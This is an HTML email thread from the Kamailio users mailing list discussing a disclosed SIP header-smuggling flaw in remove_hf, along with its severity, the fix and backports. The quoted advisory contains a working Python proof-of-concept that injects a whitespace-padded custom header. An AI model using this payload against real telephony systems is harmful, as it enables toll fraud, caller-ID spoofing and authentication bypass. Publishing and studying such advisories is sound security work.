<html><head><meta http-equiv="Content-Type" content="text/html; charset=us-ascii"></head><body style="word-wrap: break-word; -webkit-nbsp-mode: space; line-break: after-white-space;" class="">Hello Daniel,<div class=""><br class=""></div><div class="">thank you for highlighting this potentially very harmful bug and for suggesting a quick fix with remove_hf_re.</div><div class=""><br class=""></div><div class="">I can only guess that Maxim took offence with your wording here, which can be understood as downplaying the risk</div><div class=""><blockquote type="cite" class=""><div class=""><blockquote type="cite" cite="mid:CAH7qZftTyfXonBKm48LY9hQ1kfoto8_FzAxmsHBvOF854faJaw@mail.gmail.com" class=""><div class="gmail_quote"><blockquote class="gmail_quote" style="margin: 0px 0px 0px 0.8ex; border-left-width: 1px; border-left-style: solid; border-left-color: rgb(204, 204, 204); padding-left: 1ex;">The <b class="">only</b> security risk in my opinion</blockquote></div></blockquote></div></blockquote><br class=""></div><div class="">This bug is indeed a huge security risk if someone relies only on custom headers to prevent bad actors. This bug shows once again that one cannot be too paranoid and must have second and third level security. If not such bug can easily sink some small and medium sized telcos.</div><div class=""><br class=""></div><div class="">Will the patch will be backported to the stable rpm and debian Kamailio repos, Version 5.2 upwards, promoted here:</div><div class=""><a href="https://www.kamailio.org/w/download/" class="">https://www.kamailio.org/w/download/</a></div><div class=""><br class=""></div><div class="">Cheers</div><div class=""><br class=""></div><div class="">Gerry</div><div class=""><br class=""></div><div class=""><br class=""></div><div class=""><div><br class=""><blockquote type="cite" class=""><div class="">On 2 Sep 2020, at 09:31, Daniel-Constantin Mierla <<a href="mailto:miconda@gmail.com" class="">miconda@gmail.com</a>> wrote:</div><br class="Apple-interchange-newline"><div class="">
  
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" class="">
  
  <div class=""><p class="">Hello Maxim,</p><p class="">can you explain why I am downplaying the severity by my remarks?
      I presented where the bug is impacting, because the initial
      announcement sent by Sandro in different channels (not here, but
      other security related mailing lists) contained inaccurate
      information, respectively an example with P-Asserted-Identity,
      which was actually not affected by the bug. So I wanted to be
      clear is it only about the common header names.</p><p class="">Maybe you haven't understood the issue or what I said, that it
      may affect security of the platforms where custom header names are
      used to pass sensitive data between Kamailio and other SIP systems
      (but not Kamailio, since Kamailio-to-Kamailio will use same custom
      header name matching). None of my deployments were affected. The
      remark for default config file is that many deployments revolve
      around it and it does not use with custom header names, implying
      also it was not discovered by analyzing the public project, but
      configs specific to a private deployment.</p><p class="">And no worries, the issue was public from the day one, by mid of
      July, being discussed on our community Matrix channel (public one)
      when Torrey reported it based on Sandro's work and it was fixed
      within minutes to all maintained branches. The group of most
      active developers was informed, none reacted as being anything
      highly critical. Many other bugs were fixed meanwhile, but no
      security researcher spent time on them to see if there is any risk
      exposed. During the past years the Kamailio ecosystem had
      extensive collaboration with Sandro/EnableSecurity and
      Henning/Gilawa for security assessments and fuzzing, several
      reports being out based on their work. I am somehow pretty sure no
      other VoIP project did same level of security research during the
      same time interval.<br class="">
    </p><p class="">Sending the announcement on this mailing list was also discussed
      yesterday on Matrix channel and I said that sr-users is the
      appropriate place to do it. Since Sandro (and his team) did the
      hard work on finding issues in Kamailio, was his privilege to send
      the announcement. As mentioned in the first paragraph, Sandro also
      notified on many security-related lists, but I was not asked to
      review the initial announcement sent to other lists, it was done
      without being notified. I've seen it first time on VoIPSec list,
      thus I discussed with Sandro about amending it to be make it clear
      the common headers are not affected.<br class="">
    </p><p class="">Now, if you are here because you use Kamailio and have good
      interest in this application, then you are also part of Kamailio
      project, it is a community working together for mutual benefits.
      In other words, Kamailio project is not going to do anything
      special for you, but you can step forward  and propose what should
      be done and if found useful for the community, start doing it.</p><p class="">If you are here just to demand others do work for you for free,
      then you are in the wrong place.</p><p class="">Cheers,<br class="">
      Daniel<br class="">
    </p>
    <div class="moz-cite-prefix">On 02.09.20 06:43, Maxim Sobolev wrote:<br class="">
    </div>
    <blockquote type="cite" cite="mid:CAH7qZftTyfXonBKm48LY9hQ1kfoto8_FzAxmsHBvOF854faJaw@mail.gmail.com" class="">
      <meta http-equiv="content-type" content="text/html; charset=UTF-8" class="">
      <div dir="auto" class="">Thanks Daniel for patching up the bug, however I
        think you are downplaying severity of the problem at hand. You
        see, from the point of view of outside world, kamailio is not
        just engine and default config. All APIs that are provided are
        also part of the product, especially those "core" ones. As such,
        security issue with any such API is affecting the whole product.
        People using Kamailio expect those APIs do what documentation
        says they do, no more no less!
        <div dir="auto" class=""><br class="">
        </div>
        <div dir="auto" class="">What you are saying is basically any Kamailio
          installation any version under the sun except maybe dozen
          using default config is affected and has to be updated. My
          question therefore is "what Kamailio is going to do about it"?
          At the very least I'd expect fix to be merged into all
          actively maintained branches and official security advisory
          issued and distributed to all possible channels listing
          revisions and recommending upgrading ASAP.</div>
        <div dir="auto" class=""><br class="">
        </div>
        <div dir="auto" class="">-Max</div>
      </div>
      <br class="">
      <div class="gmail_quote">
        <div dir="ltr" class="gmail_attr">On Tue., Sep. 1, 2020, 8:46
          a.m. Daniel-Constantin Mierla, <<a href="mailto:miconda@gmail.com" moz-do-not-send="true" class="">miconda@gmail.com</a>>
          wrote:<br class="">
        </div>
        <blockquote class="gmail_quote" style="margin:0 0 0
          .8ex;border-left:1px #ccc solid;padding-left:1ex">Hello,<br class="">
          <br class="">
          thanks Sandro for directing a lot of time and effort for
          stress testing<br class="">
          and fuzzing Kamailio, it really helps to increase the security
          and<br class="">
          stability of the application.<br class="">
          <br class="">
          In a very short summary version, the issue was caused by a bug
          in<br class="">
          extracting the name of non-common standard headers (like
          X-My-Hdr), not<br class="">
          stripping the white spaces between the name and the following
          : (colon).<br class="">
          The common standard headers (like From, To, Authorization,<br class="">
          P-Asserted-Identity, ...) use a different header name parsing
          and there<br class="">
          is no impact in them.<br class="">
          <br class="">
          The only security risk in my opinion is when some bad actor
          learns about<br class="">
          the custom header names (and their body format/content) you
          use to pass<br class="">
          data between Kamailio and other SIP systems in your core
          platform, then<br class="">
          trying to preset such headers in the SIP traffic. Of course,
          security is<br class="">
          affected only if you pass security sensitive data in such
          custom<br class="">
          headers. The default kamailio.cfg is not using any custom
          headers, thus<br class="">
          no impact on it.<br class="">
          <br class="">
          The config fix for it (without any code upgrade) is replacing:<br class="">
          <br class="">
          remove_hf("X-My-Hdr");<br class="">
          <br class="">
          with:<br class="">
          <br class="">
          remove_hf_re("X-My-Hdr");<br class="">
          <br class="">
          As a funny fact, I tracked the faulty code back to at least
          release SER<br class="">
          v0.8.11, out 18 years ago, so it is a very long living bug.<br class="">
          <br class="">
          Cheers,<br class="">
          Daniel<br class="">
          <br class="">
          On 01.09.20 14:44, Sandro Gauci wrote:<br class="">
          > Dear Kamailio Users, <br class="">
          ><br class="">
          > posting our security advisory here just in case anyone
          who was affected has not upgraded or mitigated the header
          smuggling issue.<br class="">
          ><br class="">
          > Advisory follows: <br class="">
          ><br class="">
          > # Kamailio vulnerable to header smuggling possible due to
          bypass of remove_hf<br class="">
          ><br class="">
          > - Fixed versions: Kamailio v5.4.0<br class="">
          > - Enable Security Advisory: <<a href="https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf" rel="noreferrer noreferrer" target="_blank" moz-do-not-send="true" class="">https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf</a>><br class="">
          > - Tested vulnerable versions: 5.3.5 and earlier<br class="">
          > - Timeline:<br class="">
          >     - Report date & issue patched by Kamailio: 
          2020-07-16<br class="">
          >     - Kamailio rewrite for header parser (better fix):
          2020-07-16 to 2020-07-23<br class="">
          >     - Kamailio release with fix: 2020-07-29<br class="">
          >     - Enable Security advisory: 2020-09-01<br class="">
          ><br class="">
          > ## Description<br class="">
          ><br class="">
          > Kamailio is often configured to remove certain special
          internal SIP headers from untrusted traffic to protect against
          header injection attacks by making use of the `remove_hf`
          function from the Kamailio `textops` module. These SIP headers
          were typically set through Kamailio which are then used
          downstream, e.g. by a media service based on Asterisk, to
          affect internal business logic decisions. During our tests and
          research, we noticed that the removal of these headers can be
          bypassed by injecting whitespace characters at the end of the
          header name.<br class="">
          ><br class="">
          > Note that this issue only affected header names that are
          __not__ defined in `src/core/parser/hf.h`.<br class="">
          ><br class="">
          > Further discussion and details of this vulnerability can
          be found at the Communication Breakdown blog: <a href="https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/" rel="noreferrer noreferrer" target="_blank" moz-do-not-send="true" class="">https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/</a>.<br class="">
          ><br class="">
          > ## Impact<br class="">
          ><br class="">
          > The impact of this security bypass greatly depends on how
          these headers are used and processed by the affected logic. In
          a worst case scenarios, this vulnerability could allow toll
          fraud, caller-ID spoofing and authentication bypass.<br class="">
          ><br class="">
          > ## How to reproduce the issue<br class="">
          ><br class="">
          > We prepared a docker-compose environment to demonstrate a
          vulnerable setup which can be found at <<a href="https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro" rel="noreferrer noreferrer" target="_blank" moz-do-not-send="true" class="">https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro</a>>.
          The following python code could then be used to reproduce the
          issue:<br class="">
          ><br class="">
          > ```python<br class="">
          > #!/usr/bin/env python3<br class="">
          > sipmsg  = "INVITE <a class="moz-txt-link-freetext" href="sip:headerbypass@localhost">sip:headerbypass@localhost</a> SIP/2.0\r\n"<br class="">
          > sipmsg += "Via: SIP/2.0/UDP
          127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n"<br class="">
          > sipmsg += "Max-Forwards: 70\r\n"<br class="">
          > sipmsg += "From: <a class="moz-txt-link-rfc2396E" href="sip:anon@localhost"><sip:anon@localhost></a>;tag=%s\r\n"<br class="">
          > sipmsg += "To: <a class="moz-txt-link-freetext" href="sip:whatever@whatever.local\r\n">sip:whatever@whatever.local\r\n</a>"<br class="">
          > sipmsg += "Call-ID: %s\r\n"<br class="">
          > sipmsg += "CSeq: 1 INVITE\r\n"<br class="">
          > sipmsg += "Contact: <<a href="http://sip:1000@127.0.0.1:48017/" target="_blank" rel="noreferrer" moz-do-not-send="true" class="">sip:1000@127.0.0.1:48017</a>;transport=udp>\r\n"<br class="">
          > sipmsg += "X-Bypass-me : lol\r\n"<br class="">
          > sipmsg += "Content-Length: 237\r\n"<br class="">
          > sipmsg += "Content-Type: application/sdp\r\n"<br class="">
          > sipmsg += "\r\n"<br class="">
          > sipmsg += "v=0\r\n"<br class="">
          > sipmsg += "o=- 1594727878 1594727878 IN IP4
          127.0.0.1\r\n"<br class="">
          > sipmsg += "s=-\r\n"<br class="">
          > sipmsg += "c=IN IP4 127.0.0.1\r\n"<br class="">
          > sipmsg += "t=0 0\r\n"<br class="">
          > sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n"<br class="">
          > sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n"<br class="">
          > sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n"<br class="">
          > sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n"<br class="">
          > sipmsg += "a=rtpmap:96 opus/8000/2\r\n"<br class="">
          > sipmsg += "a=sendrecv\r\n"<br class="">
          ><br class="">
          > target = ("127.0.0.1",5060)<br class="">
          ><br class="">
          > import socket<br class="">
          > import time<br class="">
          > from random import randint<br class="">
          > s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)<br class="">
          > s.bind(("0.0.0.0",5088))<br class="">
          > r = randint(1000,9999)<br class="">
          > data = sipmsg % (r,r,r)<br class="">
          > s.sendto(data.encode("utf-8"), target)<br class="">
          > while True:<br class="">
          >     data,addr=s.recvfrom(4096)<br class="">
          >     print(data.decode("utf-8"))<br class="">
          >     time.sleep(5)<br class="">
          > ```<br class="">
          ><br class="">
          > In the case of a vulnerable version of Kamailio, Asterisk
          would respond with a 200 OK while in a fixed version, Asterisk
          would respond with a 603 Decline response. This is specific to
          the [dialplan](<a href="https://github.com/EnableSecurity/advisories/blob/master/ES2020-01-kamailio-remove-hf/repro/asterisk/config/extensions.conf" rel="noreferrer noreferrer" target="_blank" moz-do-not-send="true" class="">https://github.com/EnableSecurity/advisories/blob/master/ES2020-01-kamailio-remove-hf/repro/asterisk/config/extensions.conf</a>)
          in our example, which jumps to an internal dialplan if the
          `X-bypass-me` header is found.<br class="">
          ><br class="">
          > ## Solutions and recommendations<br class="">
          ><br class="">
          > The official Kamailio fix has been tested and found to
          sufficiently address this security flaw. We recommend making
          use of the latest release or backporting the fixes where
          possible. Making use of regular expressions to cover
          white-space characters with `remove_hf_re` has been suggested
          as mitigation for this issue for cases where the code cannot
          be upgraded.<br class="">
          ><br class="">
          > Enable Security would like to thank Daniel-Constantin
          Mierla of the Kamailio Project for the very quick response and
          fix within minutes of our report being made available to him,
          as well as Torrey Searle for reporting this issue quickly to
          the Kamailio team.<br class="">
          ><br class="">
          > ## About Enable Security<br class="">
          ><br class="">
          > [Enable Security](<a href="https://www.enablesecurity.com/" rel="noreferrer
            noreferrer" target="_blank" moz-do-not-send="true" class="">https://www.enablesecurity.com</a>)
          develops offensive security tools and provides quality
          penetration testing to help protect your real-time
          communications systems against attack.<br class="">
          ><br class="">
          > ## Disclaimer<br class="">
          ><br class="">
          > The information in the advisory is believed to be
          accurate at the time of publishing based on currently
          available information. Use of the information constitutes
          acceptance for use in an AS IS condition. There are no
          warranties with regard to this information. Neither the author
          nor the publisher accepts any liability for any direct,
          indirect, or consequential loss or damage arising from use of,
          or reliance on, this information.<br class="">
          ><br class="">
          > ## Disclosure policy<br class="">
          ><br class="">
          > This report is subject to Enable Security's vulnerability
          disclosure policy which can be found at <<a href="https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy" rel="noreferrer noreferrer" target="_blank" moz-do-not-send="true" class="">https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy</a>>.<br class="">
          ><br class="">
          > _______________________________________________<br class="">
          > Kamailio (SER) - Users Mailing List<br class="">
          > <a href="mailto:sr-users@lists.kamailio.org" target="_blank" rel="noreferrer" moz-do-not-send="true" class="">sr-users@lists.kamailio.org</a><br class="">
          > <a href="https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users" rel="noreferrer noreferrer" target="_blank" moz-do-not-send="true" class="">https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users</a><br class="">
          <br class="">
          -- <br class="">
          Daniel-Constantin Mierla -- <a href="http://www.asipto.com/" rel="noreferrer noreferrer" target="_blank" moz-do-not-send="true" class="">www.asipto.com</a><br class="">
          <a href="http://www.twitter.com/miconda" rel="noreferrer
            noreferrer" target="_blank" moz-do-not-send="true" class="">www.twitter.com/miconda</a>
          -- <a href="http://www.linkedin.com/in/miconda" rel="noreferrer noreferrer" target="_blank" moz-do-not-send="true" class="">www.linkedin.com/in/miconda</a><br class="">
          Funding: <a href="https://www.paypal.me/dcmierla" rel="noreferrer noreferrer" target="_blank" moz-do-not-send="true" class="">https://www.paypal.me/dcmierla</a><br class="">
          <br class="">
          <br class="">
          _______________________________________________<br class="">
          Kamailio (SER) - Users Mailing List<br class="">
          <a href="mailto:sr-users@lists.kamailio.org" target="_blank" rel="noreferrer" moz-do-not-send="true" class="">sr-users@lists.kamailio.org</a><br class="">
          <a href="https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users" rel="noreferrer noreferrer" target="_blank" moz-do-not-send="true" class="">https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users</a><br class="">
        </blockquote>
      </div>
    </blockquote>
    <pre class="moz-signature" cols="72">-- 
Daniel-Constantin Mierla -- <a class="moz-txt-link-abbreviated" href="http://www.asipto.com/">www.asipto.com</a>
<a class="moz-txt-link-abbreviated" href="http://www.twitter.com/miconda">www.twitter.com/miconda</a> -- <a class="moz-txt-link-abbreviated" href="http://www.linkedin.com/in/miconda">www.linkedin.com/in/miconda</a>
Funding: <a class="moz-txt-link-freetext" href="https://www.paypal.me/dcmierla">https://www.paypal.me/dcmierla</a></pre>
  </div>

_______________________________________________<br class="">Kamailio (SER) - Users Mailing List<br class=""><a href="mailto:sr-users@lists.kamailio.org" class="">sr-users@lists.kamailio.org</a><br class="">https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users<br class=""></div></blockquote></div><br class=""></div></body></html>